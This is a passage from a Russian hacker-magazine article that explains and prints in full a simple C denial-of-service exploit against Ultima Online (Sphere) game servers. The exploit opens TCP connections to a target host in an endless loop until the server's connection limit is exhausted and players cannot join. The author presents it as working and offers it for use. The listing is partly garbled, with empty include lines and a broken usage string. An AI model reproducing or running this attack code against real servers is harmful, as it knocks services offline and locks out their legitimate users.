|
Эксплоит в разрезе
Xakep, номер #047, стр. 047-084-3 if (connect(fd,(struct sockaddr*)&tgt,sizeof(struct sockaddr))<0) return -1; Не перепутай: connect() с маленькой буквы - системная функция, а Connect() с большой буквы - наша функция, которую мы рассматриваем. Компилятор Си чувствителен к регистру символов. Итак, функции connect() на вход подается имя сокетовой переменной и данные о сокетовой структуре (ее имя и размер). Функция возвращает отрицательное значение в случае неудачной попытки соединения и неотрицательное число в случае удачи. При этом сокет становится готовым к эксплуатации, которая осуществляется через дескриптор сокета, хранящийся в переменной fd. Итого Суть эксплоита в том, что он запускает бесконечный цикл, внутри которого производит кучу коннектов к игровому серверу. У любого такого серванта есть ограничение на количество подключений и одновременно играющих людей. Сразу становится ясно, что наш эксплоит за считанные секунды откроет большое количество пустых соединений с серваком, и после этого ни один геймер не сможет уже вступить в игру. Вопрос об эффективности этого эксплоита можно оставить открытым, так как ты можешь возразить: "Сервер просто не даст мне подключиться два раза с одного IP". А я возражу, что к игровым сервантам часто коннектятся из игровых клубов, где все компьютеры имеют один IP. Если сделать ограничение, то из одного клуба к серверу сможет приконнектиться только один комп, так что это неэффективно. Как известно, борьба снаряда и брони - штука сложная. В любом случае, этот эксплоит работает, и, думаю, многие игроки Ultima Online уже испытали на себе "глюки сервера". Надеюсь, ты почерпнул для себя что-нибудь новое, так как мы рассмотрели алгоритм простейшей DoS-атаки. Полный листинг эксплоита #include #include #include #include #include #include #include #include #include int Connect(int ip, int port) { int fd; struct sockaddr_in tgt; fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (fd<0) return -1; memset(&tgt,0,sizeof(struct sockaddr_in)); tgt.sin_port = htons(port); tgt.sin_family = AF_INET; tgt.sin_addr.s_addr = ip; if (connect(fd,(struct sockaddr*)&tgt, sizeof(struct sockaddr))<0) return -1; return fd; } int main(int argc, char *argv[]) { int fd; struct sockaddr_in box; if (argc < 2) { fprintf(stderr, "usage: %s return; } fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (fd<0) { perror("socket() "); return; } fprintf(stderr,"Attacking sphere : "); for (;;) { int sock; sock = Connect(inet_addr(argv[1]),(argc>2)?(atoi(argv[2])):3128); if (sock<0) { sleep(10); continue; } fprintf(stderr, ".*"); } } |